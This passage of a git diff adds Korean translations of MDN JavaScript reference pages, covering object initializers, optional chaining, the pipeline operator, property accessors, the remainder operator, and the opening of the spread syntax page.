+// 다시 말해서,
+console.log((o.a === {a}.a)) // true
+</pre>
+
+<h4 id="중복된_속성명">중복된 속성명</h4>
+
+<p>속성이 같은 이름을 쓰는 경우, 두 번째 속성은 첫 번째를 겹쳐씁니다.</p>
+
+<pre class="brush: js notranslate">var a = {x: 1, x: 2};
+console.log(a); // {x: 2}
+</pre>
+
+<p>ECMAScript 5 엄격 모드 코드에서, 중복된 속성명은 {{jsxref("SyntaxError")}}로 간주됐습니다. 런타임에 중복을 가능케 하는 속성 계산명 도입으로, ECMAScript 2015는 이 제한을 제거했습니다.</p>
+
+<pre class="brush: js notranslate">function haveES6DuplicatePropertySemantics(){
+ "use strict";
+ try {
+ ({ prop: 1, prop: 2 });
+
+ // 오류 미 발생, 중복 속성명은 엄격 모드에서 허용됨
+ return true;
+ } catch (e) {
+ // 오류 발생, 중복은 엄격 모드에서 금지됨
+ return false;
+ }
+}</pre>
+
+<h3 id="메서드_정의">메서드 정의</h3>
+
+<p>객체의 속성은 <a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a>나 <a href="/ko/docs/Web/JavaScript/Reference/Functions/get">getter</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/set">setter</a> 메서드를 참조할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+ <var>property: function </var>([<var>parameters</var>]) {},
+ get <var>property</var>() {},
+ set <var>property</var>(<var>value</var>) {},
+};</pre>
+
+<p>ECMAScript 2015에서는, 단축 표기법을 이용할 수 있습니다, 그래서 키워드 "<code>function</code>"은 더 이상 필요치 않습니다.</p>
+
+<pre class="brush: js notranslate">// 단축 메서드 명 (ES6)
+var o = {
+ <var>property</var>([<var>parameters</var>]) {},
+}</pre>
+
+<p>ECMAScript 2015에는 값이 생성기 함수인 속성을 간결하게 정의하는 법도 있습니다:</p>
+
+<pre class="brush: js notranslate">var o = {
+ *<var>generator</var>() {
+ ...........
+ }
+};</pre>
+
+<p>ECMAScript 5에서는 다음과 같이 작성할 수 있습니다 (하지만 ES5는 생성기가 없음을 주의하세요):</p>
+
+<pre class="brush: js notranslate">var o = {
+ generator<var>Method: function* </var>() {
+ ...........
+ }
+};</pre>
+
+<p>메서드에 관한 자세한 사항 및 예는, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 참조.</p>
+
+<h3 id="계산된_속성명">계산된 속성명</h3>
+
+<p>ECMAScript 2015를 시작으로, 객체 초기화 구문은 계산된 속성명(computed property name)도 지원합니다. 각괄호 <code>[]</code> 안에 식을 넣을 수 있고, 식이 계산되고 그 결과가 속성명으로 사용됩니다. 이는 이미 속성을 읽고 설정하는 데 사용했을 수 있는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="property accessor">속성 접근자</a> 구문의 각괄호 표기법을 연상시킵니다.  </p>
+
+<p>이제 당신은 객체 리터럴에서도 같은 구문을 쓸 수 있습니다:</p>
+
+<pre class="brush: js notranslate">// 계산된 속성명 (ES6)
+var i = 0;
+var a = {
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'size';
+var config = {
+ [param]: 12,
+ ["mobile" + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // { size: 12, mobileSize: 4 }</pre>
+
+<h3 id="전개_속성">전개 속성</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">ECMASCript의 나머지/전개 속성</a> 제안 (stage 4) 으로 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">전개(spread)</a> 속성이 객체 리터럴에 추가됩니다. 이 속성은 제공된 객체의 열거 가능한(enumerable) 속성을 새 객체로 복사합니다.</p>
+
+<p>(<code>prototype</code>을 제외하는) 얕은 복제(Shallow-cloning) 나 객체 합침(merging objects)이 이제{{jsxref("Object.assign()")}} 보다 짧은 문법으로 가능해집니다.</p>
+
+<pre class="notranslate">let obj1 = { foo: 'bar', x: 42 }
+let obj2 = { foo: 'baz', y: 13 }
+
+let clonedObj = { ...obj1 }
+// Object { foo: "bar", x: 42 }
+
+let mergedObj = { ...obj1, ...obj2 }
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<div class="blockIndicator warning">
+<p>{{jsxref("Object.assign()")}}는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/set">setters</a>를 작동시키지만, 전개 연산자(spread operator)는 아니라는 걸 주목하세요!</p>
+</div>
+
+<h3 id="프로토타입_변이">프로토타입 변이</h3>
+
+<p><code>__proto__: value</code> 또는 <code>"__proto__": value</code> 형태의 속성 정의는 이름이 <code>__proto__</code>인 속성을 만들지 않습니다. 대신, 제공된 값이 객체 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>이면, 생성된 객체의 <code>[[Prototype]]</code>을 그 값으로 바꿉니다. (값이 객체나 null이 아니면, 객체는 바뀌지 않습니다.)</p>
+
+<pre class="brush: js notranslate">var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = { __proto__: null };
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = { "__proto__": protoObj };
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = { __proto__: "not an object or null" };
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty("__proto__"));
+</pre>
+
+<p>단일 프로토타입 변이(mutation)만 객체 리터럴에 허용됩니다: 다중 프로토타입 변이는 구문 오류입니다.</p>
+
+<p>"colon" 표기법을 쓰지 않는 속성 정의는 프로토타입 변이가 아닙니다: 그들은 다른 이름을 사용하는 비슷한 정의와 동일하게 동작하는 속성 정의입니다.</p>
+
+<pre class="brush: js notranslate">var __proto__ = "variable";
+
+var obj1 = { __proto__ };
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty("__proto__"));
+assert(obj1.__proto__ === "variable");
+
+var obj2 = { __proto__() { return "hello"; } };
+assert(obj2.__proto__() === "hello");
+
+var obj3 = { ["__prot" + "o__"]: 17 };
+assert(obj3.__proto__ === 17);
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.operators.object_initializer")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/optional_chaining/index.html b/files/ko/web/javascript/reference/operators/optional_chaining/index.html
new file mode 100644
index 0000000000..cdf88c138b
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/optional_chaining/index.html
@@ -0,0 +1,187 @@
+---
+title: Optional chaining
+slug: Web/JavaScript/Reference/Operators/Optional_chaining
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>{{SeeCompatTable}}</p>
+
+<p><strong>optional chaining</strong> 연산자 <strong><code>?.</code></strong> 는 체인의 각 참조가 유효한지 명시적으로 검증하지 않고, 연결된 객체 체인 내에 깊숙이 위치한 속성 값을 읽을 수 있다. <span class="seoSummary"><code>?.</code> 연산자는 <code>.</code> 체이닝 연산자와 유사하게 작동하지만, 만약 참조가 {{glossary("nullish")}} ({{JSxRef("null")}} 또는 {{JSxRef("undefined")}})이라면, 에러가 발생하는 것 대신에 표현식의 리턴 값은 <code>undefined</code>로 단락된다.</span> 함수 호출에서 사용될 때, 만약 주어진 함수가 존재하지 않는다면, <code>undefined</code>를 리턴한다.</p>
+
+<p>이것은 참조가 누락될 가능성이 있는 경우 연결된 속성으로 접근할 때 더 짧고 간단한 표현식이 생성된다. 어떤 속성이 필요한지에 대한 보증이 확실하지 않는 경우 객체의 내용을 탐색하는 동안 도움이 될 수 있다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html")}}</div>
+
+<div></div>
+
+<p class="hidden">이 대화식 예제의 소스는 GitHub repository에 저장된다. 만약 너가 대화식 예제 프로젝트에 기여하려면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 복제(clone)하고 풀 리퀘스트를 보내라.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+<em>arr</em>?.[<var>index</var>]
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>optional chaining 연산자는 참조나 기능이 <code>undefined</code> 또는 <code>null</code>일 수 있을 때 연결된 객체의 값에 접근하는 단순화할 수 있는 방법을 제공한다.</p>
+
+<p>예를 들어, 중첩된 구조를 가진 객체에서 <code>obj</code>가 있다. optional chaining이 없이 깊이 중첩된 하위 속성을 찾으려면, 다음과 같이 참조를 확인해야 한다:</p>
+
+<pre class="brush: js">let nestedProp = obj.first &amp;&amp; obj.first.second;</pre>
+
+<p><code>obj.first</code>의 값은 <code>obj.first.second</code>의 값에 접근하기 전에 <code>null</code> (그리고 <code>undefined</code>)가 아니라는 점을 검증한다. 이는 만약에 <code>obj.first</code>를 테스트 없이 <code>obj.first.second</code> 에 직접 접근할 때 일어날 수 있는 에러를 방지한다. </p>
+
+<p>그러나 optional chaining 연산자(<code>?.</code>)를 사용하여, <code>obj.first.second</code> 에 접근하기 전에 <code>obj.first</code>의 상태에 따라 명시적으로 테스트하거나 단락시키지 않아도 된다:</p>
+
+<pre class="brush: js">let nestedProp = obj.first?.second;</pre>
+
+<p><code>.</code> 대신에 <code>?.</code> 연산자를 사용함으로써, 자바스크립트는 <code>obj.first.second</code>에 접근하기 전에 <code>obj.first</code>가 <code>null</code> 또는 <code>undefined</code>가 아니라는 것을 암묵적으로 확인하는 것을 알고 있다. 만약 <code>obj.first</code>가 <code>null</code> 또는 <code>undefined</code>이라면, 그 표현식은 자동으로 단락되어 <code>undefined</code>가 반환된다.</p>
+
+<p>이는 다음과 같다:</p>
+
+<pre class="brush: js">let nestedProp = ((obj.first === null || obj.first === undefined) ? undefined : obj.first.second);</pre>
+
+<h3 id="함수의_호출과_Optional_chaining">함수의 호출과 Optional chaining</h3>
+
+<p>존재하지 않을 수 있는 매서드를 호출할 때, optional chaining을 사용할 수 있다. 예를 들어, 구현 기간이나 사용자 장치에서 사용할 수 없는 기능 때문에 메서드를 사용할 수 없는 API를 사용할 경우,  유용할 수 있다.</p>
+
+<p>함수 호출과 optional chaining을 사용함으로써 메서드를 찾을 수 없는 경우에 예외를 발생시키는 것 대신에 그 표현식은 자동으로 <code>undefined</code>를 반환한다:</p>
+
+<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>메모:</strong> 만약 속성에 해당 이름이 있지만 함수가 아니라면, <code>?.</code>의 사용은 여전히 예외를 발생시킨다. {{JSxRef("TypeError")}} exception (<code>x.y</code><code> is not a function</code>).</p>
+</div>
+
+<h4 id="optional_callbacks과_event_handlers_다루기">optional callbacks과 event handlers 다루기</h4>
+
+<p>만약 객체에서 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring">destructuring assignment</a>로 callbacks 또는 fetch 메서드를 사용한다면, 그 존재 여부를 테스트하지 않으면 함수로 호출할 수 없는 존재 하지 않는 값을 가질 수 있다. <code>?.</code>을 사용하면, 다음 추가 테스트를 피할 수 있다:</p>
+
+<pre class="brush: js">// Written as of ES2019
+function doSomething(onContent, onError) {
+ try {
+ // ... do something with the data
+ }
+ catch (err) {
+ if (onError) { // Testing if onError really exists
+ onError(err.message);
+ }
+ }
+}
+</pre>
+
+<pre class="brush: js">// Using optional chaining with function calls
+function doSomething(onContent, onError) {
+ try {
+ // ... do something with the data
+ }
+ catch (err) {
+ onError?.(err.message); // no exception if onError is undefined
+ }
+}
+</pre>
+
+<h3 id="표현식에서_Optional_chaining">표현식에서 Optional chaining</h3>
+
+<p>optional chaining 연산자를 속성에 표현식으로 접근할 때 대괄호 표기법(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Bracket_notation">the bracket notation of the property accessor</a>)을 사용할 수 있다:</p>
+
+<pre class="brush: js">let nestedProp = obj?.['prop' + 'Name'];
+</pre>
+
+<h3 id="Optional_chaining으로_배열_항목에_접근하기">Optional chaining으로 배열 항목에 접근하기</h3>
+
+<pre class="brush: js">let arrayItem = arr?.[42];</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>이 예제는 해당 멤버가 없을 때, map에서 멤버 bar의 <code>name</code>의 속성 값을 찾는다. 그러므로 결과는 <code>undefined</code>이다.</p>
+
+<pre class="brush: js">let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;</pre>
+
+<h3 id="단락_평가">단락 평가</h3>
+
+<p>표현식에서 optional chaining을 사용할 때, 만약 왼쪽에 있는 피연산자가 <code>null</code> or <code>undefined</code>인  경우, 그 표현식은 평가되지 않는다. 예들 들어:</p>
+
+<pre class="brush: js">let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // 0 x는 증가하지 않음
+</pre>
+
+<h3 id="optional_chaining_연산자_쌓기">optional chaining 연산자 쌓기</h3>
+
+<p>중첩된 구조에서는 optional chaining을 여러 번 사용할 수 있다:</p>
+
+<pre class="brush: js">let customer = {
+ name: "Carl",
+ details: {
+ age: 82,
+ location: "Paradise Falls" // detailed address is unknown
+ }
+};
+let customerCity = customer.details?.address?.city;
+
+// … this also works with optional chaining function call
+let duration = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="널_병합_연산자와_같이_사용하기">널 병합 연산자와 같이 사용하기</h3>
+
+<p>널 병합 연산자는 optional chaining를 사용한 후에 아무 값도 찾을 수 없을 때 기본 값을 주기 위해 사용될 수 있다:</p>
+
+<pre class="brush: js">let customer = {
+ name: "Carl",
+ details: { age: 82 }
+};
+const customerCity = customer?.city ?? "Unknown city";
+console.log(customerCity); // Unknown city</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://tc39.es/proposal-optional-chaining/#top">Proposal for the "optional chaining" operator</a></td>
+ <td>Stage 4</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+</div>
+
+<h3 id="구현_진행">구현 진행</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("optional-chaining")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>The {{JSxRef("Operators/Nullish_Coalescing_Operator", "Nullish Coalescing Operator", '', 1)}}</li>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/pipeline_operator/index.html b/files/ko/web/javascript/reference/operators/pipeline_operator/index.html
new file mode 100644
index 0000000000..42eb62e545
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/pipeline_operator/index.html
@@ -0,0 +1,76 @@
+---
+title: 파이프 연산자
+slug: Web/JavaScript/Reference/Operators/Pipeline_operator
+tags:
+ - Experimental
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<p><span class="seoSummary"><strong>파이프 연산자</strong>(<code>|&gt;</code>)는 실험적 기능(stage 1)으로, 표현식의 값을 함수에 전달합니다. 파이프 연산자를 활용하면 중첩 함수 호출을 좀 더 읽기 좋은 형식으로 작성할 수 있습니다.</span> 결과물은 문법적 설탕<sup>syntactic sugar</sup>으로, 하나의 인수를 제공하는 함수 호출은 다음 코드처럼 쓸 수 있습니다.</p>
+
+<pre class="brush: js">let url = "%21" |&gt; decodeURI;</pre>
+
+<p>전통적인 구문에서는 아래처럼 호출합니다.</p>
+
+<pre class="brush: js">let url = decodeURI("%21");
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>expression</em> |&gt; <em>function</em>
+</pre>
+
+<p>지정한 <code>expression</code>의 값이 <code>function</code>의 유일한 매개변수로 전달됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_체이닝">함수 체이닝</h3>
+
+<p>파이프 연산자를 사용해, 여러 번 중첩된 함수 호출을 읽기 편한 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">const double = (n) =&gt; n * 2;
+const increment = (n) =&gt; n + 1;
+
+// 파이프 연산자 없이
+double(increment(double(double(5)))); // 42
+
+// 파이프 연산자 사용
+5 |&gt; double |&gt; double |&gt; increment |&gt; double; // 42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-pipeline-operator/#sec-intro">Pipeline operator draft</a></td>
+ <td>Stage 1</td>
+ <td>Not part of the ECMAScript specification yet.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposal-pipeline-operator">Github - Proposal-pipeline-operator</a></li>
+ <li><a href="https://github.com/tc39/proposals">TC39 제안서</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/property_accessors/index.html b/files/ko/web/javascript/reference/operators/property_accessors/index.html
new file mode 100644
index 0000000000..83ae2e0b80
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/property_accessors/index.html
@@ -0,0 +1,153 @@
+---
+title: 속성 접근자
+slug: Web/JavaScript/Reference/Operators/Property_Accessors
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>속성 접근자</strong>는 점 또는 괄호 표기법으로 객체의 속성에 접근할 수 있도록 해줍니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">object.property
+object['property']
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 속성의 이름을 키로 사용하는 연관 배열(다른 이름으로는 맵, 딕셔너리, 해시, 룩업 테이블)로 생각할 수 있습니다. 보통 객체의 속성을 메서드와 구별해서 말하곤 하지만, 서로의 차이는 관례에 불과합니다. 메서드는 호출할 수 있는 속성일 뿐으로, 속성의 값이 {{jsxref("Function")}}을 가리키는 참조라면 그 속성을 메서드라고 합니다.</p>
+
+<p>속성에 접근하는 법은 점 표기법과 괄호 표기법 두 가지가 있습니다.</p>
+
+<h3 id="점_표기법">점 표기법</h3>
+
+<pre class="brush: js">get = object.property;
+object.property = set;
+</pre>
+
+<p>이 코드에서, <code>property</code>는 유효한 JavaScript {{glossary("identifier", "식별자")}}여야합니다. 따라서 <code>object.$1</code>은 유효하지만 <code>object.1</code>은 아닙니다.</p>
+
+<pre class="brush: js">document.createElement('pre');
+</pre>
+
+<p>여기서는 "createElement"라는 이름을 가진 메서드를 <code>document</code>에서 찾아 호출하고 있습니다.</p>
+
+<p>소숫점 없는 숫자 리터럴의 메서드를 호출하고 싶으면, 메서드의 접근자 앞에 공백을 한 칸 추가해 점이 소숫점으로 인식되지 않도록 해야 합니다.</p>
+
+<pre><code>77 .toExponential();
+// or
+77
+.toExponential();
+// or
+(77).toExponential();
+// or
+77..toExponential();
+// or
+77.0.toExponential();
+// because 77. === 77.0, no ambiguity</code>
+</pre>
+
+<h3 id="괄호_표기법">괄호 표기법</h3>
+
+<pre class="brush: js">get = object[property_name];
+object[property_name] = set;
+</pre>
+
+<p>괄호 표기법에서는 <code>property_name</code>으로 문자열이나 {{jsxref("Symbol")}}을 사용할 수 있습니다. 문자열은 유효한 식별자가 아니어도 괜찮습니다. "<code>1foo</code>", "<code>!bar!</code>", 심지어 "<code> </code>"(공백)도 가능합니다.</p>
+
+<pre class="brush: js">document['createElement']('pre');
+</pre>
+
+<p>이 코드는 점 표기법의 예시와 동일합니다.</p>
+
+<p>괄호 앞에 공백이 올 수도 있습니다.</p>
+
+<pre><code>document ['createElement']('pre');</code>
+</pre>
+
+<h3 id="속성_이름">속성 이름</h3>
+
+<p>속성의 이름은 문자열이나 {{jsxref("Symbol")}}입니다. 숫자 등의 다른 자료형은 문자열로 변환됩니다.</p>
+
+<pre class="brush: js">var object = {};
+object['1'] = 'value';
+console.log(object[1]);
+</pre>
+
+<p>위 코드의 <code>1</code>은 <code>'1'</code>로 변환되므로, 출력 결과는 "value"입니다.</p>
+
+<pre class="brush: js">var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {};
+object[foo] = 'value';
+console.log(object[bar]);
+</pre>
+
+<p>위의 코드 역시 <code>foo</code>와 <code>bar</code>가 같은 문자열(<a href="/ko/docs/SpiderMonkey">SpiderMonkey</a> JavaScript 엔진에서는 문자열 "<code>['object Object']</code>")로 변환되므로, 출력 결과는 동일하게 "value"입니다.</p>
+
+<h3 id="메서드_바인딩">메서드 바인딩</h3>
+
+<p>메서드는 해당 메서드의 객체에 바인딩되지 않습니다. 특히 <code>this</code>는 메서드 내에 고정되지 않으므로 <code>this</code>가 항상 현재 메서드를 포함하는 객체를 참조하는건 아닙니다. 대신, <code>this</code>는 함수 호출 방식에 따라 "전달"됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/this#bind_메서드" title="method binding">메서드 바인딩</a>을 참고하세요.</p>
+
+<h3 id="eval()_주의사항"><code>eval()</code> 주의사항</h3>
+
+<p>JavaScript 초심자로써는 괄호 표기법을 사용할 수 있는 장소에 {{jsxref("eval", "eval()")}}을 남용하기 쉽습니다. 간혹 스크립트에서 다음과 같은 구문을 찾아볼 수 있습니다.</p>
+
+<pre class="brush: js">x = eval('document.forms.form_name.elements.' + strFormControl + '.value');
+</pre>
+
+<p><code>eval()</code>은 느리고, 가능하다면 최대한 피해야 합니다. 또한, <code>strFormControl</code>은 유효한 식별자여야 하지만, 폼 컨트롤의 ID나 이름은 식별자가 아닐 수도 있습니다. 따라서 괄호 표기법을 대신 사용하는 것이 좋습니다.</p>
+
+<pre class="brush: js">x = document.forms["form_name"].elements[strFormControl].value;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.property_accessors")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/remainder/index.html b/files/ko/web/javascript/reference/operators/remainder/index.html
new file mode 100644
index 0000000000..beeb0033a3
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/remainder/index.html
@@ -0,0 +1,73 @@
+---
+title: 나머지 연산자 (%)
+slug: Web/JavaScript/Reference/Operators/Remainder
+translation_of: Web/JavaScript/Reference/Operators/Remainder
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>나머지 연산자(<code>%</code>)는 피제수가 제수에 의해 나누어진 후, 그 나머지를 반환합니다. 항상 피제수의 부호를 따릅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>var1</var> % <var>var2</var>
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="피제수의_나머지">(+)피제수의 나머지</h3>
+
+<pre class="brush: js notranslate"> 12 % 5 // 2
+ 1 % -2 // 1
+ 1 % 2 // 1
+ 2 % 3 // 2
+5.5 % 2 // 1.5
+</pre>
+
+<h3 id="-피제수의_나머지">(-)피제수의 나머지</h3>
+
+<pre class="brush: js notranslate">-12 % 5 // -2
+-1 % 2 // -1
+-4 % 2 // -0</pre>
+
+<h3 id="NaN의_나머지">NaN의 나머지</h3>
+
+<pre class="brush: js notranslate">NaN % 2 // NaN</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.remainder")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/spread_syntax/index.html b/files/ko/web/javascript/reference/operators/spread_syntax/index.html
new file mode 100644
index 0000000000..d2174a53bb
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/spread_syntax/index.html
@@ -0,0 +1,255 @@
+---
+title: 전개 구문
+slug: Web/JavaScript/Reference/Operators/Spread_syntax
+tags:
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Reference
+ - Spread
+ - 전개 연산자
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>전개 구문</strong>을 사용하면 배열이나 문자열과 같이 반복 가능한 문자를 0개 이상의 인수 (함수로 호출할 경우) 또는 요소 (배열 리터럴의 경우)로 확장하여, 0개 이상의 키-값의 쌍으로 객체로 확장시킬 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>함수 호출:</p>
+
+<pre class="syntaxbox">myFunction(...iterableObj);
+</pre>
+
+<p>배열 리터럴과 문자열:</p>
+
+<pre class="syntaxbox">[...iterableObj, '4', 'five', 6];</pre>
+
+<p>객체 리터럴(ECMAScript 2018에서 추가):</p>
